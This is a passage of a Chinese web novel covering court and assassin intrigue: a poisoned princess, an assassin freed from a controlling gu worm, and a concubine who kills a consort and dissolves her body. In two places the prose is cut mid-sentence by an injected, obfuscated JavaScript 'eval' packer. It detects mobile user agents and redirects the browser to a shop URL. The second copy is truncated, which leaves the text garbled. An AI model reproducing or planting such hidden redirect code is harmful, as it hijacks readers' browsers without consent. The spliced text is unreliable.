“白大夫说了,你的腿如果好好调养,会有好的一天。”齐庭轩心里没底,但眼前这样安慰她,是最好的办法。 “大夫说,会好吗?” 淑宁小心试探,哪怕是只有一丁点希望,她都不能放弃,“我不要像现在这样,一辈子只能半躺在床上,那简直比死还难受,你明白吗?轩哥。” “我明白,但是目前这是唯一的办法,太医院的大夫都来诊断过,他们都说无解,只有白大夫说此毒可解。” “淑宁,我知道你无法接受眼前的这一切,但我们还是得面对现实,不是吗?”齐庭轩耐心安慰,虽然她做了许多的错事,但如今也受到了这样的惩罚,齐庭轩心里终究是于心不忍,毕竟淑宁是自己朝夕相处十年的妻子。 就这样放任不管,他做不到,就算未来有什么变故,那也要等她好了,再说。 静宜看见母亲在父亲的安慰下终于安静了下来,心里也欣慰了许多,母亲虽然有些娇纵,但她却一向都很听父亲的话,她爱父亲,很爱很爱。 见到他们二人紧紧相拥,静宜默默的退出了房间,一切终于平静了下来,她抬头看了看天空,不禁想道:“一切真的平静了吗?”她像个小大人的模样,深思熟虑。 这段时间以来,府内发生了太多的事情,先是母亲中邪,然后再就是母亲突然晕倒在宁王府一事,惹得朝堂内外百姓皆知,如今母亲又深中奇毒,这一件接连着一件的事情的发生,似乎都是围绕着母亲而来。 “到底是谁,为什么要如此针对母亲呢?” 静宜不傻,这些事看的明白,她自小在王宫长大,这种腌渣手段,静宜自然见了不少,母亲表面上虽然是个公主,但母妃只不过是莫家的一个庶女,并且在宫内也并不受宠,没遇到父亲以前,也是经常受到欺负的。 静宜也知道,母亲肯定是做了什么得罪人的事情,要不然,今日也不会遭此劫难,有些事,父亲不知道,但是静宜心里清楚。 母亲不让父亲知道是怕毁了她在父亲心中的形象,就连她也只是无意之中玩耍的时候,偶然听见了母亲与死士的对话。 原来,温柔贤惠的母亲,背地里居然随意主宰着别人的生死。 “这座王城表面上看上去非常的平静,但实际背地里却波涛汹涌,静宜,母亲以前不让你知道,是只想让你快乐,反正有我和你父亲保护你,自然可以让你此生无忧。” “但如今,你知道了也好,这个世间就像丛林一样,我们只有拥有至高无上的权力,才能主宰别人的生死,要不然,我们就会被别人主宰。” 静宜看着淑宁那张看似温柔的背后,没曾想到母亲居然会这么的强硬,“母亲,我不想主宰别人,为什么我们一定要主宰别人的生死呢?”那时的她才五岁,对大人这些恩怨纠缠实在不是很了解。 “因为......”淑宁实属脑疼,想了想,静宜这么小,与她讲得太直白,会不会吓到她,她捏了捏静宜的小脸,笑道:“如果人和野豹待在一起,人如果不猎杀了野豹,就会被野豹咬死。” “为什么野豹不能和人类和平共处呢?”看着静宜稚嫩的言语,淑宁有些于心不忍,她自幼便和轩哥一样,心底善良,但是善良也是有代价的,如果我能够永远保护你,你一辈子就这样善良也没什么。 但是世间之事,往往变化多端,今日看似安稳平静,谁又会知道明日会发生些什么呢? “静宜,你听母亲说,母亲知道你很善良,但是如果你想帮助更多的人的话,那么你就必须得成为强者,拥有权力,只有这样,你才可以选择善良。” 静宜似懂非懂的看着淑宁,“算了,静宜年纪还小,未来慢慢教也未尝不可。” “母亲,我明白你的良苦用心,但是,权力的作用是自保,不是滥杀无辜。”静宜看着天空,心中隐隐约约觉得这座王城如今怕是不太平了。 ...... “少宫主,王爷此时正在屋内等您。”锦瑟站在门口来回张望,见到雪微的第一刻,便迅速来到雪微身前。 雪微脸上虽然没有表现出任何的神情,但心里却觉得异常奇怪,“这人怎么老是阴魂不散,最近缠着我缠上头了。” “属下本不想让王爷进来的,但他是王爷,属下也不好驳了他的面子。”锦瑟心里十分紧张,知道少宫主对这位王爷不是很待见。 “我知道了,你先下去吧。”雪微朝着院内望了两眼,眼底有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892845|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐烦。 这人属实有些麻烦,杀又不能杀,整天无所事事,游手好闲,白瞎了这一副好皮囊。 “你来我这里有什么事?”雪微推开屋门,正看见十一躺在榻上微眠,心中不由的恼火起来,“起来,要睡,滚回你的屋子里睡去,干嘛来我的屋子里睡,你是没地方睡吗?” 说时迟那时快,她对着十一来上一掌,十一侧身翻转,滑到一旁,笑脸相迎的看着雪微:“你就是这么招呼,我的。” “女人太过于强势,将来怎么嫁人,哪个男的敢娶你?” “你......”紧接着,雪微对着十一又来一掌:“我要杀了你。” 十一牵制住雪微的手腕,笑道:“奥,对了,你不用嫁人,你是我的王妃,自然是我收了你。” 他叹了口气:“这天底下,怕是也只有我才能收了你。” “是吗?” 不知什么时候,雪微的飞针从十一的身后穿过,“我曾经说过,如果你敢再招惹我,我就杀了你。” 也许是真的恐吓到他了吧,雪微见十一脸色苍白,额头上的水珠滑落到衣服上,心中居然有一丝丝不忍:“你怎么了?” 她解开十一的穴道,只见十一脖子上血筋直爆,这是一线牵? 今日十五,十一的一线牵也应该发作了,雪微看了看眼前这个人,他也中有一线牵,难道他也是莫家的杀手? 雪微正准备揭开十一脸上的银色面具,突然,一双深红色的眼眸深邃的看着她,然后从她的眼前迅速的消失。 “他到底是谁?” 雪微的心中突然有了一个大胆的猜测,她晃动了手中的银镯,十一身上中有她的噬魂蛊,晃动银镯,噬魂蛊便会从身体里激活,“十一,我要见你,现在,立刻。” 她朝着庆安王的养心殿走去,心里琢磨着,他会不会是十一。 正准备推开门,庆安王宇文昌便从屋子里走了出来,这么短的时间内,他居然换了一套紫色的衣服,“王妃,刚分开这么短的时间,你就思念成疾,连忙赶来找本王。” “你......这是......” 雪微继续晃动着银镯,银镯对他一点作用都没有,“他不是十一?” 她看着庆安王那银色面具下的那张面孔,心中略微好奇,但脸色却依旧没有任何表情:“王爷,你没中毒?” “中毒?”十一笑了笑:“王妃哪里看出本王是中了毒。” 他的余光扫过雪微右手手腕上的那只银镯,原来是想试探我啊,可惜,你的蛊虫对我并不起任何作用。 “真的没有中毒吗?还是他用内力压制住了,要不,我再试探试探。”雪微正想试探,十一抢先开口道:“王妃,本王累了,你先回去吧。” 他对着屋外的子昂说道:“子昂,送王妃回去。” 既然庆安王宇文昌都赶人了,雪微也不好再继续赖在这里,不过刚才从他身旁走过,雪微感受到一股微弱的气息,他气息不稳,难道是受伤了?虽然他极力克制,但百密终有一疏。 雪微越想越觉得不对劲,回想起刚刚发生的一切,虽然只是瞬间,但雪微心中十分笃定那就是一线牵发作的症状,即使他不是十一,但他绝对和莫家有关。 “你找我?”雪微刚回到屋内还未坐下,就亲眼见到十一正坐在案台前若有所思的看着她,“有事?” 为了避免十一多想,雪微微微笑了笑,难道他真的不是庆安王,“你来的刚好,我正好有一事。” “庆安王宇文昌身上有着诸多秘密,我想让你替我查探一番,比如,他瘫痪的身体怎么就突然好了,还有,今日早上,我看到他似乎中了和你一样的毒,莫家的,一,线,牵。” 本只是为了试探他一下,但他的面容却没有一丝吃惊,什么表情都没有,杀手做久了的人,即使内心波涛汹涌,但神色却依旧不变。 眼下看来,十一这里也是试探不出任何事情,既然如此,那还不如直接让十一去调查庆安王宇文昌一事,也免得自己给自己找不痛快。 “就这?”十一赫然。 “就这。” “他是你的夫君,你亲自去调查,不是更好吗?”十一嘴角一抽,这人难道是想试探我,便想着让我自己调查我自己,他笑了笑:“你们夫妻之间的事情,就不要扯上我了。” 话还未说完,便飞快的逃离了。 “这人什么时候,胆这么肥了。”雪微当头一愣,呆了半天,“看来下次,绝不能让他太好过。” “庆安王,宇,文,昌。” 雪微执笔在宣纸上写上这几个大字,拿在手中看了看,“你到底是谁,你冒充庆安王,想做些什么?” 24. 药炉 深夜,四周一片漆黑,十一把自己藏身于一间废弃的道观,道观周围杂草丛生,看样子,似乎很久都没有人来过。 “他受了重伤,应该跑不了多远?” 突然,一个黑影从他们的眼前飞过,“赶紧追上去。”眼见他们走远,十一从黑暗中走了出来,把剑收回了剑鞘。 这些人,个个都是莫家的顶级杀手,如果不甩开他们,被他们缠上,今晚怕是真的会凶多吉少了。 “主人,一切都已经摆平了,不会有人查到庆安王府里来的。”子昂看着十一左肩上的伤口,伤口暗黑且血断断续续的往外冒,“这箭头有毒?” 他心里十分纠结,气不打一处来,都怪王妃,如果不是王妃非要主人去查什么莫家,主人会弄成如今这副模样吗? 莫家在江湖之中是什么地位,是那么容易查的吗?简直不知天高地厚,这个女人简直就是个害人精,如果主人有什么意外,子昂心里想了想,“我绝不会放过她。” 十一点了点头,示意子昂退下。 他右手按抚着伤口,身子颤颤巍巍的往望月轩走去。 今夜也不知怎么了,雪微听到了一阵奇怪的声音后便从睡梦中惊醒,她的睡眠一直很浅,这与她多年的杀手生涯有关,如果睡得太死,不知怎么死的都不知道,毕竟想杀她的人太多了。 她从窗口隐约看到院中有一道人影,不知是不是自己的错觉,她走到窗口再仔细朝着院中看去,一个身穿黑色夜行衣的人正颤颤巍巍的往她的屋子这边走来,他走得很慢,身体似乎受了很重的伤。 “十一,这么晚了,他来做什么?” 雪微心中虽然感到有些疑惑,但还是推开屋门,朝着院中走了过去,“不对劲,他似乎中了毒,而且这种毒有致幻的作用。” “母后。” 一个华衣女子面带微笑的朝着十一缓步走来,十一似乎见到了母后,她的面容还是和十几年前一样,一点衰老的迹象都没有,他很想用力的抓住母后的衣角,却什么也没有抓住。 “不要走,不要丢下我,不要丢下我一个人。”他声音嘶哑的向着眼前之人祈求,突然眼前一黑,什么也看不见。 “母后?”雪微略有所疑的看着地上晕倒的十一,“难道他的身份是皇子?” “他是王后的儿子?” “不对,王后亲生的儿子是二皇子,天底下人尽皆知。” “难道他是前王后的儿子?” “可是前王后十几年前就已经死了,听说是因为生下太子以后,大出血,再加上身体一直气血亏虚,熬了几年就杀手人寰了。” 雪微无奈的摇了摇头,“从未听说过先王后以及现任王后还有别的儿子。” “那么他到底是从哪里冒出来的呢?” 她叹了口气:“算了,不管你是谁,终究,你是为我办事而身受重伤的,放心,我是不会见死不救的。” 她抬起十一,便往药炉走去。 “这么好的东西,我都还没机会尝试,却白白给你用了。”雪微把药桶置于炉子之上,然后又把十一置于药桶之中,“你可是第一个享受此等待遇的人,可千万别白费了我的苦心。” “老实的给我待在这里,不要动。” 不知过了多久,十一突然感觉一股热气从丹田之中途经神阙,膻中,直击神庭。“我这是怎么了?身体怎么这么热?” 迷迷糊糊之中,他睁开眼,发现自己浑身都无法动弹的被泡在水桶之中,身上的上衣都被扒个精光,那桶里的水还在咕噜咕噜的冒着气泡,心底大感不妙。 “这是哪里,我怎么会在这里?”他想了想昨日夜晚,自己明明是朝着望月轩而来,怎么如今......他环顾四周,觉得这里十分陌生。 “难道我今日注定了要被煮成汤了吗?” 正当他一筹莫展之时,雪微此时端着一大盆草药走了进来,“你......你是想煮死我吗?” “要杀我,也要换一种方法啊,这小火慢炖,我这粗皮烂肉的,你即使把我煮熟了,也不好吃啊。” 此时他心底一阵绝望,“这个女人果真心狠手辣,我可是替她办事才受的伤,转眼,她就要把我给煮了,老天啊,这......这到底是个什么世道?” 他哀叹一声:“我这是遇到什么人了,大仇还未得报,今日就要被人煮死了”,十一心里实在是不好受。 “别吵了。”雪微转手点了十一的哑穴,“一个大男人,真是聒噪。” 她上下打量了十一一番,就你这皮包骨头的,要啥啥没有,有啥好吃的。 她摇了摇头,真的无法理解一个大男人,为何却如此聒噪,平日里一向不是很冷静的吗?怎么今日却如此反常? 她把一大盆草药倒入药桶之中,用手在水里简单的搅动一番,试了试水温。 “住手,别靠近我。”十一心里十分着急,但奈何身子无法动弹,又被点了哑穴,怎么喊都喊不出声,只能双眼瞪得大大的,死死的盯着雪微的一举一动。 “走开......” 这个女人,是存心的吧。 她到底想要干什么? “放宽心胸,随着我呼气,出气。”雪微对着十一简单示范一番,“做啊,你盯着我干嘛?” 十一把头往一侧瞥过,“你这个女人,想要我死,就直接说嘛,何必这么折磨我呢?” “慢火细炖,你可真有这个闲心。” 他脑中突然冒出雪微拿着汤勺一边喝汤一边开怀大笑的场景,早就听闻漠北蛮人喜食人肉,但一直从未见过,没想到今日,我却成为了这汤中肉。 情绪一阵低落,药桶里的热气不断的涌入,十一浑身躁动,体内的蛊虫沿着血脉四处窜动,似乎也觉察到自己要死了吧,因此做最后的挣扎。 雪微此时来到十一身后,手持冰针,沿百会穴刺入,一冷一热,冷热交加。 刚才身子还躁动不已,如今随着冰针入体,十一突然觉得身体里的热度降低了许多,体内的蛊虫也变得安分起来。 突然,雪微从药桶中拿出十一的右手,用匕首对着右手手腕处割开一条口子,那伤口看着不深不浅,刚刚好,十一也不知雪微到底要做些什么,“这点深的伤口也死不了人啊?” 反正身子动弹不得,也只能由着她,十一继续观察观察,心中总觉得雪微要是想杀一个人,应该不会用这么复杂的法子吧,毕竟七杀殿杀人可是出了名的一刀毙命。 过了大约一刻钟左右,十一右手手腕上的那条浅红色的线略微动了动,“莫不是,她想解除我身体里的一线牵?” 一线牵之所以称之为一线牵,是因为莫家可以利用母蛊控制着每一个杀手,子蛊与母蛊之间,母子连心,如果被母蛊发现身中子蛊的人心怀不轨,那么莫家便可以直接利用母蛊杀死这名杀手。 不管杀手逃到多远,只要有母蛊在手,都可以瞬间取其性命,这就是一线牵真正的可怕之处,像风筝一样,对杀手却是永远的制约。 如今子蛊已经被激活了,那么母蛊是不是也已经知道了呢? 十一心底有些凌乱,以往从未听人说过一线牵能够解除,今日见了,也许她真的能够替我解除一线牵,“不管了,哪怕是拼了这条老命,我也要趁机解除了这一线牵。” 被人控制着自己生死的滋味,实在是不好受,这种日日担惊受怕的感觉,十一过了十几年了,他不想再继续过下去,不想要别人决定自己的生死。 体内突然又变得躁动起来,手腕处的红线突然变得深红了起来,且躁动不安,雪微趁机解开了十一的穴道,并对着十一说道:“快用自己的内力,把它从体内逼出来,快......” 十一照着雪微的话,不知怎么的,他的心在这一刻突然就对眼前的这个女人卸下了心房,“原来他是想解除我身体里的一线牵,终究是我小人之心,误会她了。” 雪微见十一的内力不稳,于是便把自己的内力传送到他的体内,大约半个多小时过去了,那条红色的线条扭动着身体,缓慢从伤口处探出一个头来,也许是闻到了盆子里面鲜血的味道,“哗”的一声,跳进了血盆里面。 “好烫。”十一顿时从药桶里面跳了起来,“刚才怎么没有发现,这桶里的水居然这么烫了。”他浑身上下,皮肤被烫的通红,像煮开了一样。 雪微一脸嫌弃的把一身干净洁白的衣服丢到十一的身上,“赶紧把衣服穿好,随我出来。” “这人说话虽然不好听,但不管怎么样,她终究是救了我一命,救命之恩,应当涌泉相报。”十一心里倒是记下了这个天大的恩情。 “原来一线牵居然是长这个样子,只不过,它似乎一动不动,好像死了?” 十一看着血盆中漂浮的一线牵,这就是在自己身体里面居住了十几年的蛊虫,今日,从身体里面除去之后,觉得畅快了许多。 “蛊虫离体,自然会死,子蛊死了,母蛊也会死,过不了多久,莫家就会知道你死了的消息。”雪微冰冷的言语从十一的身后响起,她走路没有一点声音,像幽灵般。 “你......走路怎么没声音,人吓人,吓死人。”十一转身,一脸心虚的看着她,难道刚才咒骂她的事被她知道了,所以这才......兴师问罪来了? “吓死人?”雪微盯着十一的一举一动,“你莫不是做了什么亏心事吧?” 她余光扫过十一身后的血盆,以及后面的药桶,了然于胸:“奥,你是怕我吃了你吧。” “小火慢炖,把你熬成汤汁,一口一个鲜美。” “啧啧啧” 她拍了拍十一的肩膀,轻声在十一的耳边说道:“你说的对,刚刚我确实有过这种想法。” “不过......” 她上下打量着十一的身子,“你皮糙肉厚的,要身材没身材,肉质看上去,也很粗躁,吃起来,塞牙。” “你......”十一语塞:“侮辱人也不是你这么侮辱的吧。” “还不赶紧把衣服穿好,赶紧随我出来。”雪微冷言冷语,心里有些烦躁,“这个世上怎么有这么愚蠢的人类呢?我费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你得到了你想要的,我却没有得到我想要的。” “我替你解除了一线牵,脱离了莫家的掌控,这还不够?”雪微突然觉得眼前这个人看起来总隔着一层雾,让她始终看不清。 “替我解除一线牵是你自愿的,并不是我要求你的。”十一有的时候觉得自己脸皮很厚,但也顾不了那么多了,他必须以此为要求,做他应该做的事情。 “做人不要太贪得无厌。”雪微叹了口气,她一向最不喜欢与这种胡搅蛮缠的人打交道,没想到,今日,她却看走了眼,“这人果真让人厌烦。” 她沉默了会,开口道:“你想要什么?” “我想要太子死,这是我们先前合作的条件,不是吗?”如果说要王上死,这个女人心中自然会心生怀疑,倒不如直接提出让太子死,反正都一样,只要能够乱了这朝纲。 到时候我再拨乱反正,“叔叔,我到要看看你的王位还能坐多久。” “好。” 雪微痛快的答应,却让十一深感不安,此人一向不按常理出牌,今日痛快的答应了,不会有什么问题吧。 “放心吧,我既然答应了你,自然会办到,离三年之期,不是还有两年吗?”雪微扫了眼十一,笑道:“你为什么这么想要杀太子,娴妃想要杀太子,那是为了替自己的儿子铺路,你呢?如今,你脱离了莫家,你为什么想杀太子?” “难道,你与皇家有什么关系?又或者,你本就来自于皇家?” “这个女人很聪明,这么快就已经猜出我来自皇家。”十一心中感到有些吃惊,看来,既然要合作,有些事怕是瞒不了她了。 “对,我也来自皇家,我的母亲就是先王后,这下,你满意了吧。” “先王后?”雪微笑了笑:“十一,你忽悠我呢?” “满朝皆知,先王后只有太子一个儿子,你又是从哪里冒出来的呢?” “谁说的?”十一冷冷的笑了笑,“那么你呢?你来京城真的只是为了替娴妃暗杀太子的吗?” 十一的话似乎击穿了雪微的痛处,二人目光相交,针锋相对,“每一个人都有属于自己的秘密,难道雪儿姑娘你就没有吗?” 雪微冷冷的笑了笑,“你说的对,每一个人都有属于自己的秘密,但是,既然我们要合作,那么你至少要做到如何让我对你这个人放心吧。” “你说是不是?” 十一顿时明白了雪微的意思,难道她对我不放心,也是,如今噬魂蛊解除了,他们之间最后的牵制也没有了,难道要她把噬魂蛊再种回去? 他心里肯定是一万个不愿意,但奈何始终没有想出能够折中的办法,“既然雪儿姑娘实在是不放心我,那么,你就再把噬魂蛊种回去吧。” 反正有没有这个蛊虫对我又没有什么影响,种回去也没什么。 “这可是你说的。”雪微浅浅的笑了笑,十一看着雪微那张无辜的脸颊,总觉得自己像是被她算计了一番。 25. 质疑 十一走后,雪微拿着那本记录着莫家与朝廷官员勾结的账册看了许久,那本账册封面上赫赫写着天府助学金几个大字,说是助学金,实则是莫家暗自为自己培养官场亲信。 她翻了翻账册,希望能够从中找到对自己有点用的东西。 突然,顾炳春这个人名赫然的出现在雪微的眼中。 顾炳春......顾炳春...... 雪微回想了会,大理寺少卿顾炳春,当年受父亲一手提拔,获得了大理寺寺正一职,后来便一直在替父亲做事,没想到,如今,这个人却成为了大理寺少卿。 让雪微更加没有想到的是,顾炳春背后资助之人居然是莫家,“难怪一直查不到,原来从一开始,你就是故意接近父亲的。”雪微冷哼一声:“莫家掌握着朝中三分之一官员的秘密,他们如果真的想做些事,简直易如反掌。” 雪微曾经想过莫家到底会不会和宁王府的案子有关,但不管怎么查,却始终查不出莫家蛛丝马迹,就是太过于干净,反而让雪微觉得奇怪。 ...... “淑宁没有死?”沈雨菲神色极为难看,怎么可能会这样呢?她明明中了朱砂泪,怎么可能没有死呢?难道是有人给她解毒了?她心里一阵心虚。 看着前来回报的人,心中不由得发火:“滚......都给我滚远点......” 国师说过中了朱砂泪的人,必死无疑,除非,淑宁从始至终中的根本就不是朱砂泪,或者是宇文昭舍不得对淑宁下手,所以,留了一手。 “宇文昭,你到底有没有把我的话放在心上?”她不由得怀疑起太子来,看来终究是兄妹情深啊,可是你这一厢情愿的情深,别人可未必放在心上。 帝王之家,最忌讳的就是心肠太软,可你偏偏身为太子,注定了成不了王,就只能成为阶下囚。 “不......我是绝不会成为阶下囚的,宇文昭,我必须成为王后。”沈雨菲紧握成拳,指甲深陷进掌心之中,“我绝不会让任何人再次骑在我的头上,为虎作伥。” 那样的日子,她已经过够了,她再也不想回到过去那间露雨的破败不堪的茅草屋。 趁着天黑,她披上黑色斗篷,再次踏入太子府,不来的时候还对太子抱有几分幻想,可当自己亲眼所见,心不由得,凉了几分,这样的人,真的能成为西晋的王吗? 沈雨菲叹了口气,心中暗自想了想,王上让太子在太子府里思过,可他却好,私下里却饮酒作乐,极度奢靡,这要是让王上见了,怕是又要对他加以责骂。 “不,我说你能成王,你就能成为这西晋的王。” “因为我必须成为西晋的王后,为了成为王后,我已经赌上了一切。” “宇文昭,你可不要让我,失望啊。” “菲儿,你来了。”宇文昭屏退所有人出去,一脸醉酒的模样,朝着沈雨菲走了过来,他的步子略微有些不稳,身上酒气熏天。 “来,孤今日高兴,与孤喝上一杯。”宇文昭往酒杯里面倒满酒水,递给沈雨菲,“爱妃,来,赶紧把这喝了。” 沈雨菲看到宇文昭这幅德行,气不打一处来,甩手把宇文昭手中的酒杯打落,酒水溅满一地。 “太子,你应当勤勉,躬身自省,让王上刮目相看,可如今你却自甘堕落,留恋这......”沈雨菲自叹一声,“这要是让王上见了,怕是又得责怪殿下来。” “雨菲,你今日前来,到底是来看我的呢?还是像父王一样过来教育我的?”宇文昭心中郁结难消,“如果你是想像父王那样教育我的,那你还是赶紧离开吧。” “我自知我样样都比不过二弟,他不仅在政事还是民事上都比我做得好,连去治水都能连升两阶。” “我呢?干啥啥不行,不管做什么,父王都会责骂于我。” 宇文昭顿了顿:“可我能怎么办呢?二弟那么聪明能干,我实在是比不过他呀。” 他转头深情的看着沈雨菲:“我那么喜爱你,可是,你也抛弃了我,成为了父王的妃子,我那么想干好一件事,可换来的却是父王的责骂。” “雨菲,你能够明白吗?”宇文昭紧紧的握住沈雨菲的双手,“雨菲,你能够明白我的,对吗?” “我有的时候在想,干脆把太子之位让给二弟算了,我本就不是什么当太子的料,当个闲散王爷,我也落得清闲。”话还未说完。 “不行。” 沈雨菲顿时情绪激动,甩掉宇文昭紧握着的手,如果你不当太子,我怎么成为王后呢?宇文昭,你确实干什么什么都不行,但就算你什么都不行,你至少也是个太子啊,太子继承王位,那是天命所归。 “阿昭,太子之位本来就是属于你的,你难到忘记了吗?等你成为王上的那天,我,就会成为你的王后,你并没有失去我啊,我一直都是你的雨菲。” “我爱你,阿昭,即使是为了我,你也不能放弃。” “答应我,好不好,让我成为你的王后。” 沈雨菲那双狐媚样的眼睛极具魅力,似乎可以将人的灵魂生生剥离。她知道,太子如果失去太子之位,那么他的结局只有死,宇文昭,有些事情不是你想的那么简单,你想功成身退,但那些人是不会放过你的,也不会放过和你有关的任何人。 他们只会赶尽杀绝,绝不会留下任何一个活口,给日后留下隐患。在深宫待久了的人,见过太多,你越是软弱,越是会被人欺负,沈雨菲沉默了许久,“不是我想这么做,是我已经无路可退了,你明白吗?宇文昭。” “你想死,但我不想跟着你一起死。”她的身子紧绷,双手紧握成拳,宇文昭这话,无疑不让沈雨菲不由得多想了几分。 “好,我是王上,你是我的王后,只要菲儿想要的,哪怕是天上的星星,我也一定会为你摘来。” 沈雨菲心里对这个回答似乎很满意,“反之,如果我得不到,那么我宁愿毁掉所有。” 一路走来,所付出的心血断然不会白白的送到旁人手中,白白为他人做了嫁衣。 “你们......你们......二人狼狈为奸,怎可做出此等违背伦理的事情?”沈雨菲推开趴在身上醉酒的宇文昭,从床上站起身来,穿好衣服,注视着眼前的周良娣。 “你......你可是王上的沈贵妃,怎么,能与太子睡在一起,做这种见不得人的事。” 今夜,听说太子醉酒,周良娣心里便想着端点醒酒汤给太子送过来醒醒酒,一来希望能够获得太子的好感,多与太子亲近亲近,二来父亲要她多多留意太子的动态。 谁曾想,居然看到了这样一副画面。 太子宇文昭与王上的宠妃沈贵妃二人正拥抱在一起,互相亲吻着对方。 周良娣内心纠结,推开门,怒斥着二人。 “我要把这件事告诉王上。看看王上知道了会怎么杀了你们这对奸夫□□。” 她转身,正准备离开,此时,却被沈雨菲从身后击晕倒地。 “不自量力,凭你,也想阻本宫的路。” 不知是下手太猛了还是怎么的,此时,血已染满地面。 “菲儿,你......你杀了她?” 宇文昭震惊的看着沈雨菲手握着染满周良娣鲜血的匕首,不管怎么说,周良娣也是他的妃子,就这样无端的死在了太子府,到时候有人问起,又该怎么回答? “不过是死了一个妃子而已,有什么大惊小怪的?”沈雨菲看着地上躺着一动不动的周良娣,脸上一丝表情都没有,“死了个人而已,你知道后宫每年像这种不知名的妃子不知要死多少。” “有人替她们在意过吗?” “没有。” “因为她们的命不值一提。” 宇文昭呆呆的看着她,眼前的这个女人骨子里透着一股狠劲,让他的心底有些发寒,“她不是什么不知名的妃子,她的父亲可是当朝太尉,虽然她只不过是太尉府中的一个庶女,但也不能不明不白的就在太子府邸死去。” “既是太尉之女,那就更应该除去了。”沈雨菲拿起丝帕擦干手上的血迹,“各位大臣把自家的庶女送进太子府,名义上与你结亲,实则为监视。” “她们都是那些大臣留在太子府的眼线,可不是什么善类,周良娣今日不死,明日,我和你的事情就会被传得满天飞,到时候,你想想,谁会受益?” “二弟。”宇文昭恍然大悟,“对,二弟,我如果被废了太子之位,那最有能力当太子的就是二弟。” “王后肯定会极力让自己的儿子当上太子之位的,到时候我和你就会变成阶下囚,身首异处。”沈雨菲一番分析,“阿昭,我不是什么心狠之人,只不过是想在这吃肉不吐骨头的后宫求得一份生存。” “阿昭,你明白吗?” 宇文昭点了点头,他当然明白,后宫的这些尔虞我诈,他是再清楚不过的。 当年,听宫中之人提起过,母后身体不好,是深中剧毒,宫中之人都说是淑妃下毒要致母后于死地,父王因此大怒,在母后死后,淑妃也死在了冷宫的那场大火之中。 可宇文昭却觉得此事远远没有表面看上去那么简单,淑妃为什么要毒害母后?这十多年来,宇文昭始终是想不明白,母后死了,淑妃也死了,表面上看上去只不过死了两个人,可是,王后才是这次事件背后最大受益人。 母后死的第二年,她就成为了西晋的王后,顶替了母后的位置,父王因此对母后心怀愧疚,也在那一年,宇文昭被封为太子。 宇文昭暗地里也曾怀疑过,也许这背后给母后下毒之人不是淑妃,而是王后,但查了这么多年,始终却查不出任何蛛丝马迹。 今日沈雨菲重新提起这些事,反倒让宇文昭重新记起了这件事,杀母之仇,不共戴天,后宫之中,借刀杀人的例子实在是太多了,也许淑妃也只不过是被人陷害了,毕竟她只是一个战败国的和亲公主而已。 死了也就死了,无伤大雅,对任何人都没有影响。 沈雨菲朝着周良娣的身体上滴了几滴化尸水,瞬间,周良娣的尸体就消失了,宇文昭朝着地面看去,一丝蛛丝马迹都没有,凭什么说周良娣死在了太子府。 “菲儿,你怎么会来太子府,以往,你每次过来都会提前打好招呼,可昨夜,你怎么会突然前来,难到是出了什么事吗?”看着眼前这个女人,宇文昭越看越觉得迷糊,似乎隔了一层薄薄的雾。 他爱她,很爱很爱,可是他却亲手把她送给了自己的父王,只是为了培养自己在宫中的眼线,作为 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“哪怕你想要天上的星星月亮,我也会摘下来,送给你。”他从身后紧紧的搂住沈雨菲,极度贪恋她身上散发的香气,那是一种说不清道不明的味道,让人沉沦其中,不想醒来。 沈雨菲看似沉迷实则十分清醒,什么爱不爱,喜不喜欢的,王上的后宫里有那么多的妃子,太子也和王上一副德行,爱情只是一时的,权力才是永恒的。 “我一定要成为西晋的王后,没有任何人可以阻挡本宫的路。”她心中暗自发誓。 ...... 经历了半个多月雨水的洗礼,天气也越发的变得寒凉起来,今年的冬天来的似乎有些早,雪微很不喜欢这种湿哒哒的天气,总感觉空气之中有些潮湿,让人浑身不爽。 “少宫主,据我们在太子府中的眼线来报,周良娣死了,太子府中的人说是,周良娣出门散心,不小心跌落水里淹死了。”锦瑟明白,太子府邸死了一个普通的妃子,倒是无关大雅,只是这位周良娣表面上看上去普普通通,但却是周太尉府里的庶女。 “淹死了?”雪微长叹一口气,“可惜了,如花似玉的姑娘就这么不明不白的死在了太子府邸,却被人说是淹死的。” “这种冠冕堂皇的话,谁信啊?” 她抬头,沉思道:“锦瑟,你信吗?” “少宫主。”锦瑟说道:“自然是不信的。”她神色有些疑虑,心中顿感困惑道:“周良娣待人温厚,有礼,又没有得罪什么人,到底是何人想致她于死地呢?” “也许是她知道了什么不该知道的东西,被人灭口了,也不无可能。” 锦瑟点了点头,人活在这个世上,有的时候知道越多,死的越快,所以在她当杀手的那一天开始,除了接任务以外,其他的事情,一律不听,一律不知道,即使是知道了也要说不知道。 “尸体呢?被打捞起来了吗?”雪微突然开口,周良娣既然是落水身亡,那她的尸身应该还在,死人有的时候比活人更加的真诚,她会告诉你,事情的真相到底是什么? “据跟随周良娣的丫鬟回来禀报,周良娣是被水给冲走的。” “被水给冲走了?”雪微冷冷的笑道:“好一招,死无对证。” “锦瑟,尽快派人把周良娣的丫鬟接出来安置妥当。” “少宫主,这......?”锦瑟心中略微有些疑惑,从太子府里把人接出来,那也不是一件简单的事情。 “周良娣的丫鬟做伪证,过不了多久,恐怕会有性命之危。”雪微简直太了解沈雨菲这个人了,她是不会给自己留下一个祸患的,更何况是杀人毁尸这种事情。 “是。”锦瑟转身便退了出去。 “沈雨菲,你到底想干些什么,你想扶持太子登基?”雪微想了想,扶持太子登基,她又能够获得什么好处,太后,难道她想成为太后,雪微赶紧否认了这一想法,如今王后还在,就算王上仙逝,她也当不了太后,朝中大臣也不会同意的。 